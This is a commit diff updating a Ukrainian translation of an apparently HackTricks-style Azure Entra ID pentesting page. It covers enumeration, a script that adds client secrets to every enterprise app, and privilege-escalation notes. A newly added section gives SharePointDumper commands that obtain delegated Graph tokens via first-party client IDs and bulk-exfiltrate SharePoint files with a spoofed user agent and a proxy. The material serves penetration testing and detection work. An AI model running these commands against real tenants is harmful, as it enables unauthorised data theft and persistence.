Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-azur

This commit is contained in:
Translator
2026-02-12 12:18:11 +00:00
parent b21a42105c
commit 09769502b4
@@ -4,13 +4,13 @@
## Основна інформація
Azure Active Directory (Azure AD) є хмарною службою Microsoft для управління ідентичністю та доступом. Вона є важливою для того, щоб співробітники могли входити в систему та отримувати доступ до ресурсів як всередині, так і за межами організації, включаючи Microsoft 365, портал Azure та безліч інших SaaS-додатків. Дизайн Azure AD зосереджений на наданні основних ідентифікаційних послуг, зокрема **автентифікації, авторизації та управління користувачами**.
Azure Active Directory (Azure AD) є хмарним сервісом Microsoft для управління ідентифікацією та доступом. Він дозволяє працівникам входити в систему та отримувати доступ до ресурсів як всередині організації, так і поза нею, включно з Microsoft 365, Azure portal та численними іншими SaaS-застосунками. Конструкція Azure AD спрямована на надання базових сервісів ідентифікації, зокрема **аутентифікації, авторизації та керування користувачами**.
Ключові функції Azure AD включають **багатофакторну автентифікацію** та **умовний доступ**, а також безшовну інтеграцію з іншими службами безпеки Microsoft. Ці функції значно підвищують безпеку ідентичностей користувачів і надають організаціям можливість ефективно впроваджувати та забезпечувати свої політики доступу. Як основний компонент екосистеми хмарних служб Microsoft, Azure AD є ключовим для управління ідентичностями користувачів у хмарі.
Ключові функції Azure AD включають **багатофакторну автентифікацію** та **умовний доступ**, а також безшовну інтеграцію з іншими сервісами безпеки Microsoft. Ці можливості суттєво підвищують безпеку ідентичностей користувачів і дають організаціям змогу ефективно впроваджувати та застосовувати свої політики доступу. Як фундаментальний компонент екосистеми хмарних сервісів Microsoft, Azure AD має вирішальне значення для хмарного управління ідентичностями користувачів.
## Перерахування
### **З'єднання**
### **Підключення**
{{#tabs }}
{{#tab name="az cli" }}
@@ -96,6 +96,7 @@ Connect-AzAccount -Credential $creds
# Connect with access token
Connect-AzAccount -AccountId test@corp.onmicrosoft.com [-AccessToken $ManagementToken] [-GraphAccessToken $AADGraphToken] [-MicrosoftGraphAccessToken $MicrosoftGraphToken] [-KeyVaultAccessToken $KeyVaultToken]
# If connecting with some metadata token, in "-AccountId" put the OID of the managed identity (get it from the JWT token)
# Connect with Service principal/enterprise app secret
$password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force
@@ -184,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
{{#endtab }}
{{#endtabs }}
Коли ви **входите** через **CLI** в Azure з будь-якою програмою, ви використовуєте **Azure Application** з **оренди**, яка належить **Microsoft**. Ці програми, як ті, що ви можете створити у своєму обліковому записі, **мають ідентифікатор клієнта**. Ви **не зможете побачити всі з них** у **списках дозволених програм**, які ви можете побачити в консолі, **але вони дозволені за замовчуванням**.
Коли ви **виконуєте вхід** через **CLI** в Azure з будь-якої програми, ви використовуєте **Azure Application** з **tenant**, який належить **Microsoft**. Ці Applications, як ті, що ви можете створити у своєму обліковому записі, **мають client id**. Ви **не зможете побачити всі з них** у **allowed applications lists**, які видно в консолі, **але вони дозволені за замовчуванням**.
Наприклад, **скрипт powershell**, який **автентифікує**, використовує додаток з ідентифікатором клієнта **`1950a258-227b-4e31-a9cf-717495945fc2`**. Навіть якщо додаток не з'являється в консолі, системний адміністратор може **заблокувати цю програму**, щоб користувачі не могли отримати доступ, використовуючи інструменти, які підключаються через цей додаток.
Наприклад, **powershell script**, який **автентифікується**, використовує додаток з client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Навіть якщо додаток не відображається в консолі, системний адміністратор може **заблокувати цей додаток**, щоб користувачі не могли отримати доступ за допомогою інструментів, що підключаються через цей App.
Однак є **інші ідентифікатори клієнтів** програм, які **дозволять вам підключитися до Azure**:
Однак існують **інші client-ids** додатків, які **дозволяють підключитися до Azure**:
```bash
# The important part is the ClientId, which identifies the application to login inside Azure
@@ -226,7 +227,7 @@ az account tenant list
### Користувачі
Для отримання додаткової інформації про користувачів Entra ID перегляньте:
Для отримання додаткової інформації про користувачів Entra ID див.:
{{#ref}}
../az-basic-information/
@@ -365,15 +366,15 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
```
### MFA & Conditional Access Policies
Рекомендується додати MFA для кожного користувача, однак деякі компанії можуть не налаштовувати його або можуть налаштувати його з умовним доступом: Користувач буде **зобов'язаний використовувати MFA, якщо** він входить з певного місця, браузера або **якоїсь умови**. Ці політики, якщо не налаштовані правильно, можуть бути схильні до **обхідних шляхів**. Перевірте:
Наполегливо рекомендується додати MFA для кожного користувача; однак деякі компанії не встановлюють його або налаштовують через Conditional Access: для користувача буде **вимагатися MFA, якщо** він увійде з певної локації, браузера або за **якоїсь умови**. Ці політики, якщо неправильно налаштовані, можуть піддаватися **bypasses**. Перевірте:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}
### Groups
### Групи
Для отримання додаткової інформації про групи Entra ID перевірте:
Для додаткової інформації про групи Entra ID див.:
{{#ref}}
../az-basic-information/
@@ -487,16 +488,16 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
> [!WARNING]
> Групи можуть бути динамічними, що в основному означає, що **якщо користувач виконує певні умови, його буде додано до групи**. Звичайно, якщо умови базуються на **атрибутах**, які **користувач** може **контролювати**, він може зловживати цією функцією, щоб **потрапити до інших груп**.\
> Перевірте, як зловживати динамічними групами на наступній сторінці:
> Групи можуть бути динамічними, що означає, що **якщо користувач відповідає певним умовам, його буде додано до групи**. Звісно, якщо умови базуються на **атрибутах**, які **користувач** може **контролювати**, він може зловживати цією функцією, щоб **опинитися в інших групах**.\
> Дізнайтеся, як зловживати динамічними групами на наступній сторінці:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
{{#endref}}
### Службові принципали
### Service Principals
Для отримання додаткової інформації про службові принципали Entra ID перевірте:
Для отримання додаткової інформації про Entra ID service principals дивіться:
{{#ref}}
../az-basic-information/
@@ -597,11 +598,11 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
{{#endtabs }}
> [!WARNING]
> Власник сервісного принципалу може змінити його пароль.
> Власник Service Principal може змінити його пароль.
<details>
<summary>Список та спроба додати клієнтський секрет до кожного корпоративного додатку</summary>
<summary>Переглянути список і спробувати додати client secret до кожного Enterprise App</summary>
```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
@@ -706,18 +707,18 @@ Write-Output "Failed to Enumerate the Applications."
```
</details>
### Застосунки
### Додатки
Для отримання додаткової інформації про Застосунки перегляньте:
Для детальнішої інформації про додатки див.:
{{#ref}}
../az-basic-information/
{{#endref}}
Коли створюється додаток, надаються 2 типи дозволів:
Коли створюється App, надаються 2 типи дозволів:
- **Дозволи**, надані **Службовому Принципалу**
- **Дозволи**, які **додаток** може мати та використовувати **від імені користувача**.
- **Дозволи**, надані **Service Principal**
- **Дозволи**, які **app** може мати та використовувати **від імені користувача**.
{{#tabs }}
{{#tab name="az cli" }}
@@ -742,6 +743,33 @@ az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92
# Get Cloud Applications Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]
## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
{{#endtab }}
@@ -792,21 +820,21 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtabs }}
> [!WARNING]
> Додаток з дозволом **`AppRoleAssignment.ReadWrite`** може **підвищити привілеї до Global Admin**, надавши собі цю роль.\
> Для отримання додаткової інформації [**перевірте це**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> Додаток з дозволом **`AppRoleAssignment.ReadWrite`** може підвищити привілеї до Global Admin, надаючи собі цю роль.\
> Для отримання додаткової інформації [**перегляньте це**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> [!NOTE]
> Секретний рядок, який додаток використовує для підтвердження своєї особи при запиті токена, є паролем додатка.\
> Отже, якщо ви знайдете цей **пароль**, ви зможете отримати доступ як **сервісний принципал** **всередині** **орендаря**.\
> Зверніть увагу, що цей пароль видимий лише під час генерації (ви можете змінити його, але не зможете отримати його знову).\
> **Власник** **додатка** може **додати пароль** до нього (щоб він міг його імітувати).\
> Вхід як ці сервісні принципали **не позначається як ризиковий** і вони **не матимуть MFA.**
> Секретний рядок, який застосунок використовує для підтвердження своєї ідентичності при запиті токена, — це application password.\
> Отже, якщо знайдете цей **password**, ви зможете отримати доступ як **service principal** **inside** **tenant**.\
> Зверніть увагу, що цей password видно лише під час його створення (ви можете змінити його, але не зможете отримати знову).\
> Власник додатка може **додати password** до нього (тому він може видавати себе за нього).\
> Входи під цими **service principals** не позначаються як ризикові і у них **не буде MFA.**
Можливо знайти список загальновживаних ID додатків, що належать Microsoft, за адресою [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
Можна знайти список часто використовуваних App IDs, що належать Microsoft, за адресою [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
### Керовані ідентичності
### Managed Identities
Для отримання додаткової інформації про Керовані ідентичності перевірте:
Для отримання додаткової інформації про Managed Identities див.:
{{#ref}}
../az-basic-information/
@@ -822,9 +850,9 @@ az identity list --output table
{{#endtab }}
{{#endtabs }}
### Ролі Azure
### Azure Ролі
Для отримання додаткової інформації про ролі Azure перегляньте:
Для отримання додаткової інформації про ролі Azure див.:
{{#ref}}
../az-basic-information/
@@ -911,7 +939,7 @@ Headers = @{
### Ролі Entra ID
Для отримання додаткової інформації про ролі Azure дивіться:
Для отримання додаткової інформації про ролі Azure див.:
{{#ref}}
../az-basic-information/
@@ -1032,12 +1060,12 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtabs }}
> [!WARNING]
> Якщо пристрій (VM) **приєднаний до AzureAD**, користувачі з AzureAD зможуть **увійти в систему**.\
> Більше того, якщо увійшовший користувач є **Власником** пристрою, він буде **локальним адміністратором**.
> Якщо пристрій (VM) **AzureAD joined**, користувачі з AzureAD зможуть **увійти**.\
> Крім того, якщо залогінений користувач є **Owner** пристрою, він стане **local admin**.
### Адміністративні одиниці
### Administrative Units
Для отримання додаткової інформації про адміністративні одиниці перегляньте:
Для додаткової інформації щодо адміністративних одиниць див.:
{{#ref}}
../az-basic-information/
@@ -1072,6 +1100,53 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
{{#endtab }}
{{#endtabs }}
## Екфільтрація даних SharePoint через делегований Microsoft Graph (SharePointDumper)
Зловмисники з **delegated Microsoft Graph token**, який включає **`Sites.Read.All`** або **`Sites.ReadWrite.All`**, можуть перераховувати **sites/drives/items** через Graph та потім **витягувати вміст файлів** за допомогою **SharePoint pre-authentication download URLs** (тимчасово обмежені URL-адреси, які містять access token). Скрипт [SharePointDumper](https://github.com/zh54321/SharePointDumper) автоматизує весь процес (enumeration → pre-auth downloads) і генерує телеметрію по кожному запиту для тестування засобів виявлення.
### Отримання придатних delegated tokens
- SharePointDumper сам **не автентифікується**; потрібно надати access token (опційно refresh token).
- Попередньо погоджені **first-party clients** можна зловживати для отримання Graph token без реєстрації додатку. Приклади викликів `Invoke-Auth` (з [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)):
```powershell
# CAE requested by default; yields long-lived (~24h) access token
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
$tokens = Invoke-Auth -ClientID 'b26aadf8-566f-4478-926f-589f601d9c74' -RedirectUrl 'urn:ietf:wg:oauth:2.0:oob' # OneDrive (FOCI TRUE)
# Other pre-consented clients
Invoke-Auth -ClientID '1fec8e78-bce4-4aaf-ab1b-5451cc387264' -RedirectUrl 'https://login.microsoftonline.com/common/oauth2/nativeclient' # Teams (FOCI TRUE)
Invoke-Auth -ClientID 'd326c1ce-6cc6-4de2-bebc-4591e5e13ef0' -RedirectUrl 'msauth://code/ms-sharepoint-auth%3A%2F%2Fcom.microsoft.sharepoint' # SharePoint (FOCI TRUE)
Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https://scuprodprv.www.microsoft365.com/spalanding' -Origin 'https://doesnotmatter' # OfficeHome (FOCI FALSE)
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
```
> [!NOTE]
> Клієнти FOCI TRUE підтримують refresh між пристроями; клієнти FOCI FALSE часто вимагають `-Origin`, щоб задовольнити перевірку origin reply URL.
### Запуск SharePointDumper для enumeration + exfiltration
- Базовий dump з custom UA / proxy / throttling:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
```
- Керування охопленням: включення/виключення сайтів або розширень та глобальні ліміти:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
```
- **Продовжити** перервані запуски (повторно перераховує, але пропускає вже завантажені елементи):
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
```
- **Автоматичне оновлення токена при HTTP 401** (потребує завантаженого EntraTokenAid):
```powershell
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
```
Операційні нотатки:
- Надає перевагу **CAE-enabled** токенам, щоб уникнути закінчення дії під час виконання; спроби оновлення **не** реєструються в API-лозі інструмента.
- Генерує **CSV/JSON request logs** для **Graph + SharePoint** та за замовчуванням маскує вбудовані токени завантаження SharePoint (можна переключити).
- Підтримує **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, та **Ctrl+C-safe shutdown** для формування трафіку під час тестів виявлення/IR.
## Підвищення привілеїв Entra ID
{{#ref}}
@@ -1086,29 +1161,29 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
## Захисні механізми
### Управління привілейованими ідентичностями (PIM)
### Privileged Identity Management (PIM)
Управління привілейованими ідентичностями (PIM) в Azure допомагає **запобігти надмірним привілеям**, які без потреби надаються користувачам.
Privileged Identity Management (PIM) в Azure допомагає **запобігти надмірному наданню привілеїв** користувачам без потреби.
Однією з основних функцій, які надає PIM, є те, що він дозволяє не призначати ролі принципалам, які постійно активні, а робити їх **придатними на певний період часу (наприклад, 6 місяців)**. Тоді, коли користувач хоче активувати цю роль, він повинен запитати її, вказуючи час, на який йому потрібен привілей (наприклад, 3 години). Потім **адміністратор повинен затвердити** запит.\
Зверніть увагу, що користувач також зможе попросити **продовжити** час.
Одна з головних функцій PIM полягає в тому, що він дозволяє не призначати ролі принципалам, які постійно активні, а робити їх доступними на певний період часу (наприклад, 6 місяців). Коли користувач хоче активувати цю роль, йому потрібно запросити її, вказавши час, на який потрібні привілеї (наприклад, 3 години). Потім **адміністратору потрібно схвалити** запит.\
Зауважте, що користувач також зможе попросити **продовження** часу.
Більше того, **PIM надсилає електронні листи** щоразу, коли привілейована роль призначається комусь.
Крім того, **PIM надсилає електронні листи** щоразу, коли привілейована роль призначається комусь.
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
Коли PIM увімкнено, можна налаштувати кожну роль з певними вимогами, такими як:
Коли PIM увімкнено, можна налаштувати для кожної ролі певні вимоги, наприклад:
- Максимальна тривалість (години) активації
- Вимагати MFA при активації
- Вимагати контекст аутентифікації умовного доступу
- Вимагати контекст автентифікації Conditional Access
- Вимагати обґрунтування при активації
- Вимагати інформацію про квиток при активації
- Вимагати інформацію про тикет при активації
- Вимагати затвердження для активації
- Максимальний час для закінчення дії придатних призначень
- Багато інших налаштувань щодо того, коли і кому надсилати сповіщення, коли певні дії відбуваються з цією роллю
- Максимальний час до закінчення дії eligible-призначень
- Багато інших налаштувань щодо того, коли і кому надсилати сповіщення при певних діях з цією роллю
### Політики умовного доступу
### Conditional Access Policies
Перевірте:
@@ -1116,30 +1191,32 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}
### Захист ідентичності Entra
### Entra Identity Protection
Захист ідентичності Entra - це сервіс безпеки, який дозволяє **виявляти, коли користувач або вхід занадто ризикований** для прийняття, дозволяючи **блокувати** користувача або спробу входу.
Entra Identity Protection — це сервіс безпеки, який дозволяє **виявляти, коли користувач або sign-in є занадто ризиковими**, щоб їх приймати, даючи можливість **блокувати** користувача або спробу входу.
Це дозволяє адміністратору налаштувати його для **блокування** спроб, коли ризик "Низький і вище", "Середній і вище" або "Високий". Хоча за замовчуванням він повністю **вимкнений**:
Адміністратор може налаштувати його так, щоб **блокувати** спроби, коли ризик — "Low and above", "Medium and above" або "High". Однак за замовчуванням він повністю **вимкнений**:
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Сьогодні рекомендується додавати ці обмеження через політики умовного доступу, де можна налаштувати ті ж самі опції.
> Наразі рекомендується додавати ці обмеження через політики Conditional Access, де можна налаштувати ті самі опції.
### Захист паролів Entra
### Entra Password Protection
Захист паролів Entra ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) - це функція безпеки, яка **допомагає запобігти зловживанню слабкими паролями, блокуючи облікові записи, коли відбувається кілька невдалих спроб входу**.\
Вона також дозволяє **заборонити користувацький список паролів**, який потрібно надати.
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) це функція безпеки, яка **допомагає запобігти зловживанню слабкими паролями шляхом блокування облікових записів після кількох невдалих спроб входу**.\
Вона також дозволяє **забороняти кастомний список паролів**, який потрібно надати.
Вона може бути **застосована як** на рівні хмари, так і в локальному Active Directory.
Її можна застосовувати **як у хмарі**, так і в локальному Active Directory.
Режим за замовчуванням - **Аудит**:
Режим за замовчуванням **Audit**:
<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>
## Посилання
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
- [SharePointDumper](https://github.com/zh54321/SharePointDumper)
- [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)
{{#include ../../../banners/hacktricks-training.md}}